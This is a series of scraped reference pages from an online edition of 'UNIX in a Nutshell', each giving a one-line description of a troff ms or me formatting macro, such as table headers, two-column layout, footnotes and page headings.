The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .TH

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .TE Chapter 14
ms Macros 		Next: Reference: .TL

.TH

.TH

End of table header. Must be used with a preceding .TS H.

Previous: Reference: .TE | UNIX in a Nutshell: System V Edition | Next: Reference: .TL
Reference: .TE | Book Index | Reference: .TL
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .TL

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .TH Chapter 14
ms Macros 		Next: Reference: .TS

.TL

.TL
multi-line title

Title line(s) for cover sheet. A multi-line title can be specified, ended by the next macro (usually .AU in the cover sheet sequence).

Previous: Reference: .TH | UNIX in a Nutshell: System V Edition | Next: Reference: .TS
Reference: .TH | Book Index | Reference: .TS
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .TS

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .TL Chapter 14
ms Macros 		Next: Reference: .UL

.TS

.TS [H]

Start table to be processed by tbl. Use H to put a table header on all pages -d table header with .TH). End table with .TE. See Section 16 for more information on tbl.

Previous: Reference: .TL | UNIX in a Nutshell: System V Edition | Next: Reference: .UL
Reference: .TL | Book Index | Reference: .UL
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .UL

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .TS Chapter 14
ms Macros 		Next: 14.1 Alphabetical Summary of ms Macros

.UL

.UL

Underline following text, even in troff.

Previous: Reference: .TS | UNIX in a Nutshell: System V Edition | Next: 14.1 Alphabetical Summary of ms Macros
Reference: .TS | Book Index | 14.1 Alphabetical Summary of ms Macros
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .1c

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: 15. me Macros Chapter 15
me Macros 		Next: Reference: .2c

.1c

.1c

Return to single-column format. See .2c.

Previous: 15. me Macros | UNIX in a Nutshell: System V Edition | Next: Reference: .2c
15. me Macros | Book Index | Reference: .2c
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .2c

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .1c Chapter 15
me Macros 		Next: Reference: .ar

.2c

.2c

Enter two-column format. Force a new column with .bc; .hw column end two-column mode with .1c.

Previous: Reference: .1c | UNIX in a Nutshell: System V Edition | Next: Reference: .ar
Reference: .1c | Book Index | Reference: .ar
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .ar

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .2c Chapter 15
me Macros 		Next: Reference: .b

.ar

.ar

Set page number in arabic.

Previous: Reference: .2c | UNIX in a Nutshell: System V Edition | Next: Reference: .b
Reference: .2c | Book Index | Reference: .b
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .b

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .ar Chapter 15
me Macros 		Next: Reference: .(b

.b

.b w x

Set w in bold and x in previous font.

Previous: Reference: .ar | UNIX in a Nutshell: System V Edition | Next: Reference: .(b
Reference: .ar | Book Index | Reference: .(b
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .(b

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .b Chapter 15
me Macros 		Next: Reference: .)b

.(b

.(b type

Begin block keep. End with .)b.

Type

C

Centered block keep

F

Filled block keep

L

Left-justified block keep

Previous: Reference: .b | UNIX in a Nutshell: System V Edition | Next: Reference: .)b
Reference: .b | Book Index | Reference: .)b
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .)b

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .(b Chapter 15
me Macros 		Next: Reference: .ba

.)b

.)b

End block keep started with .(b.

Previous: Reference: .(b | UNIX in a Nutshell: System V Edition | Next: Reference: .ba
Reference: .(b | Book Index | Reference: .ba
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .ba

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .)b Chapter 15
me Macros 		Next: Reference: .bc

.ba

.ba n

Set the base indent to n.

Previous: Reference: .)b | UNIX in a Nutshell: System V Edition | Next: Reference: .bc
Reference: .)b | Book Index | Reference: .bc
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .bc

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .ba Chapter 15
me Macros 		Next: Reference: .bi

.bc

.bc

Begin column; used after .2c.

Previous: Reference: .ba | UNIX in a Nutshell: System V Edition | Next: Reference: .bi
Reference: .ba | Book Index | Reference: .bi
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .bi

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .bc Chapter 15
me Macros 		Next: Reference: .bl

.bi

.bi w x

Set w in bold italics and x in previous font.

Previous: Reference: .bc | UNIX in a Nutshell: System V Edition | Next: Reference: .bl
Reference: .bc | Book Index | Reference: .bl
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .bl

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .bi Chapter 15
me Macros 		Next: Reference: .bu

.bl

.bl n

Leave n lines of white space. Equivalent to .sp n inside a block.

Previous: Reference: .bi | UNIX in a Nutshell: System V Edition | Next: Reference: .bu
Reference: .bi | Book Index | Reference: .bu
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .bu

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .bl Chapter 15
me Macros 		Next: Reference: .bx

.bu

.bu

Begin paragraph marked by a bullet.

Previous: Reference: .bl | UNIX in a Nutshell: System V Edition | Next: Reference: .bx
Reference: .bl | Book Index | Reference: .bx
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .bx

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .bu Chapter 15
me Macros 		Next: Reference: .+c

.bx

.bxw x

Set w in a box and x immediately outside the box.

Previous: Reference: .bu | UNIX in a Nutshell: System V Edition | Next: Reference: .+c
Reference: .bu | Book Index | Reference: .+c
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .+c

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .bx Chapter 15
me Macros 		Next: Reference: .$c

.+c

.+c title

Begin chapter with title.

Previous: Reference: .bx | UNIX in a Nutshell: System V Edition | Next: Reference: .$c
Reference: .bx | Book Index | Reference: .$c
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .$c

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .+c Chapter 15
me Macros 		Next: Reference: .$C

.$c

.$c title

Begin numbered chapter with title.

Previous: Reference: .+c | UNIX in a Nutshell: System V Edition | Next: Reference: .$C
Reference: .+c | Book Index | Reference: .$C
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .$C

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .$c Chapter 15
me Macros 		Next: Reference: .(c

.$C

.$C keyword n title

User-definable macro. Called by .$c, supplying keyword (e.g., "Chapter" or "Appendix"), chapter or appendix number (n), and title.

Previous: Reference: .$c | UNIX in a Nutshell: System V Edition | Next: Reference: .(c
Reference: .$c | Book Index | Reference: .(c
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .(c

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .$C Chapter 15
me Macros 		Next: Reference: .)c

.(c

.(c

Begin centered block. End with .)c.

Previous: Reference: .$C | UNIX in a Nutshell: System V Edition | Next: Reference: .)c
Reference: .$C | Book Index | Reference: .)c
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .)c

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .(c Chapter 15
me Macros 		Next: Reference: .(d

.)c

.)c

End centered block started with .(c.

Previous: Reference: .(c | UNIX in a Nutshell: System V Edition | Next: Reference: .(d
Reference: .(c | Book Index | Reference: .(d
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .(d

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .)c Chapter 15
me Macros 		Next: Reference: .)d

.(d

.(d

Begin delayed text. End with .)d.

Previous: Reference: .)c | UNIX in a Nutshell: System V Edition | Next: Reference: .)d
Reference: .)c | Book Index | Reference: .)d
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .)d

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .(d Chapter 15
me Macros 		Next: Reference: .ef

.)d

.)d

End delayed text. Print text with .pd.

Previous: Reference: .(d | UNIX in a Nutshell: System V Edition | Next: Reference: .ef
Reference: .(d | Book Index | Reference: .ef
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .ef

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .)d Chapter 15
me Macros 		Next: Reference: .eh

.ef

.ef 'l'c'r'

Print three-part footer on all even pages. Parts are left-justified, centered, and right-justified at bottom of every even page.

Previous: Reference: .)d | UNIX in a Nutshell: System V Edition | Next: Reference: .eh
Reference: .)d | Book Index | Reference: .eh
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .eh

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .ef Chapter 15
me Macros 		Next: Reference: .EN

.eh

.eh 'l'c'r'

Print three-part heading on all even pages. Parts are left-justified, centered, and right-justified at top of every even page.

Previous: Reference: .ef | UNIX in a Nutshell: System V Edition | Next: Reference: .EN
Reference: .ef | Book Index | Reference: .EN
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .EN

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .eh Chapter 15
me Macros 		Next: Reference: .ep

.EN

.EN

End equation display started with .EQ.

Previous: Reference: .eh | UNIX in a Nutshell: System V Edition | Next: Reference: .ep
Reference: .eh | Book Index | Reference: .ep
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .ep

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .EN Chapter 15
me Macros 		Next: Reference: .EQ

.ep

.ep

End this page and print footnotes.

Previous: Reference: .EN | UNIX in a Nutshell: System V Edition | Next: Reference: .EQ
Reference: .EN | Book Index | Reference: .EQ
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .EQ

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .ep Chapter 15
me Macros 		Next: Reference: .$f

.EQ

.EQ format title

Start equation display to be processed by eqn, using output format and having title printed on the right margin next to the equation. End with .EN. See Section 16 for more information on eqn.

Format

C

Centered

I

Indented

L

Left justified

Previous: Reference: .ep | UNIX in a Nutshell: System V Edition | Next: Reference: .$f
Reference: .ep | Book Index | Reference: .$f
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .$f

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .EQ Chapter 15
me Macros 		Next: Reference: .(f

.$f

.$f

Call to print footer.

Previous: Reference: .EQ | UNIX in a Nutshell: System V Edition | Next: Reference: .(f
Reference: .EQ | Book Index | Reference: .(f
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .(f

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .$f Chapter 15
me Macros 		Next: Reference: .)f

.(f

.(f

Begin text for footnote. End with .)f.

Previous: Reference: .$f | UNIX in a Nutshell: System V Edition | Next: Reference: .)f
Reference: .$f | Book Index | Reference: .)f
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .)f

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .(f Chapter 15
me Macros 		Next: Reference: .fo

.)f

.)f

End footnote text started with .(f.

Previous: Reference: .(f | UNIX in a Nutshell: System V Edition | Next: Reference: .fo
Reference: .(f | Book Index | Reference: .fo
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .fo

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .)f Chapter 15
me Macros 		Next: Reference: .$H

.fo

.fo 'l'c'r'

Print three-part footer on all pages. Parts are left-justified, centered, and right-justified at bottom of every page.

Previous: Reference: .)f | UNIX in a Nutshell: System V Edition | Next: Reference: .$H
Reference: .)f | Book Index | Reference: .$H
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .$H

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .fo Chapter 15
me Macros 		Next: Reference: .$h

.$H

.$H

Normally undefined macro, called immediately before printing text on a page. Can be used for column headings, etc.

Previous: Reference: .fo | UNIX in a Nutshell: System V Edition | Next: Reference: .$h
Reference: .fo | Book Index | Reference: .$h
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .$h

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .$H Chapter 15
me Macros 		Next: Reference: .he

.$h

.$h

Call to print header.

Previous: Reference: .$H | UNIX in a Nutshell: System V Edition | Next: Reference: .he
Reference: .$H | Book Index | Reference: .he
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .he

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .$h Chapter 15
me Macros 		Next: Reference: .hl

.he

.he 'l'c'r'

Print three-part heading on all pages. Parts are left-justified, centered, and right-justified at top of every page.

Previous: Reference: .$h | UNIX in a Nutshell: System V Edition | Next: Reference: .hl
Reference: .$h | Book Index | Reference: .hl
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .hl

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .he Chapter 15
me Macros 		Next: Reference: .hx

.hl

.hl

Draw a horizontal line equal to the width of page.

Previous: Reference: .he | UNIX in a Nutshell: System V Edition | Next: Reference: .hx
Reference: .he | Book Index | Reference: .hx
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .hx

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .hl Chapter 15
me Macros 		Next: Reference: .i

.hx

.hx

Don't print headings and footers on next page.

Previous: Reference: .hl | UNIX in a Nutshell: System V Edition | Next: Reference: .i
Reference: .hl | Book Index | Reference: .i
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .i

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .hx Chapter 15
me Macros 		Next: Reference: .ip

.i

.iw x

Set w in italics (underline in nroff) and x in previous font.

Previous: Reference: .hx | UNIX in a Nutshell: System V Edition | Next: Reference: .ip
Reference: .hx | Book Index | Reference: .ip
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .ip

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .i Chapter 15
me Macros 		Next: Reference: .ix

.ip

.ip label n

Indent paragraph n spaces with hanging label.

Previous: Reference: .i | UNIX in a Nutshell: System V Edition | Next: Reference: .ix
Reference: .i | Book Index | Reference: .ix
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .ix

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .ip Chapter 15
me Macros 		Next: Reference: .(l

.ix

.ix [±n]

Indent but don't break the line. Equivalent to 'in n.

Previous: Reference: .ip | UNIX in a Nutshell: System V Edition | Next: Reference: .(l
Reference: .ip | Book Index | Reference: .(l
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .(l

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .ix Chapter 15
me Macros 		Next: Reference: .)l

.(l

.(l type

Begin list. End with .)l.

Type

C

Centered list

F

Filled list

L

Left-justified list

Previous: Reference: .ix | UNIX in a Nutshell: System V Edition | Next: Reference: .)l
Reference: .ix | Book Index | Reference: .)l
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .)l

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .(l Chapter 15
me Macros 		Next: Reference: .ll

.)l

.)l

End list started with .(l.

Previous: Reference: .(l | UNIX in a Nutshell: System V Edition | Next: Reference: .ll
Reference: .(l | Book Index | Reference: .ll
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .ll

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .)l Chapter 15
me Macros 		Next: Reference: .lo

.ll

.ll +n

Set line length to +n (all environments).

Previous: Reference: .)l | UNIX in a Nutshell: System V Edition | Next: Reference: .lo
Reference: .)l | Book Index | Reference: .lo
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .lo

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .ll Chapter 15
me Macros 		Next: Reference: .lp

.lo

.lo

Load a locally defined set of macros (usually /usr/lib/me/local.me).

Previous: Reference: .ll | UNIX in a Nutshell: System V Edition | Next: Reference: .lp
Reference: .ll | Book Index | Reference: .lp
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .lp

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .lo Chapter 15
me Macros 		Next: Reference: .m1

.lp

.lp

Begin block paragraph (left-justified).

Previous: Reference: .lo | UNIX in a Nutshell: System V Edition | Next: Reference: .m1
Reference: .lo | Book Index | Reference: .m1
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .m1

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .lp Chapter 15
me Macros 		Next: Reference: .m2

.m1

.m1 n

Set n spaces between top of page and heading.

Previous: Reference: .lp | UNIX in a Nutshell: System V Edition | Next: Reference: .m2
Reference: .lp | Book Index | Reference: .m2
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .m2

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .m1 Chapter 15
me Macros 		Next: Reference: .m3

.m2

.m2 n

Set n spaces between heading and first line of text.

Previous: Reference: .m1 | UNIX in a Nutshell: System V Edition | Next: Reference: .m3
Reference: .m1 | Book Index | Reference: .m3
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .m3

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .m2 Chapter 15
me Macros 		Next: Reference: .m4

.m3

.m3 n

Set n spaces between footer and text.

Previous: Reference: .m2 | UNIX in a Nutshell: System V Edition | Next: Reference: .m4
Reference: .m2 | Book Index | Reference: .m4
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .m4

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .m3 Chapter 15
me Macros 		Next: Reference: .n1

.m4

.m4 n

Set n spaces between footer and bottom of page.

Previous: Reference: .m3 | UNIX in a Nutshell: System V Edition | Next: Reference: .n1
Reference: .m3 | Book Index | Reference: .n1
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .n1

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .m4 Chapter 15
me Macros 		Next: Reference: .n2

.n1

.n1

Number lines in margin beginning with 1.

Previous: Reference: .m4 | UNIX in a Nutshell: System V Edition | Next: Reference: .n2
Reference: .m4 | Book Index | Reference: .n2
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .n2

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .n1 Chapter 15
me Macros 		Next: Reference: .np

.n2

.n2 n

Number lines in margin beginning with n; stop numbering if n is 0.

Previous: Reference: .n1 | UNIX in a Nutshell: System V Edition | Next: Reference: .np
Reference: .n1 | Book Index | Reference: .np
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .np

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .n2 Chapter 15
me Macros 		Next: Reference: .of

.np

.np

Begin a numbered paragraph. Current number is accessed via \n($p.

Previous: Reference: .n2 | UNIX in a Nutshell: System V Edition | Next: Reference: .of
Reference: .n2 | Book Index | Reference: .of
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .of

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .np Chapter 15
me Macros 		Next: Reference: .oh

.of

.of 'l'c'r'

Print three-part footer on all odd pages. Parts are left-justified, centered, and right-justified at bottom of every odd page.

Previous: Reference: .np | UNIX in a Nutshell: System V Edition | Next: Reference: .oh
Reference: .np | Book Index | Reference: .oh
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .oh

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .of Chapter 15
me Macros 		Next: Reference: .$p

.oh

.oh 'l'c'r'

Print three-part heading on all odd pages. Parts are left-justified, centered, and right-justified at top of every odd page.

Previous: Reference: .of | UNIX in a Nutshell: System V Edition | Next: Reference: .$p
Reference: .of | Book Index | Reference: .$p
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .$p

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .oh Chapter 15
me Macros 		Next: Reference: .$0

.$p

.$p title n d

Print section heading with specified title, section number n, and depth of section d.

Previous: Reference: .oh | UNIX in a Nutshell: System V Edition | Next: Reference: .$0
Reference: .oh | Book Index | Reference: .$0
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .$0

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .$p Chapter 15
me Macros 		Next: Reference: .$n

.$0

.$0 title n d

Called automatically after every call to .$p. Normally undefined, but may be used to automatically put every section title into table of contents, or for some similar function.

Previous: Reference: .$p | UNIX in a Nutshell: System V Edition | Next: Reference: .$n
Reference: .$p | Book Index | Reference: .$n
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .$n

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
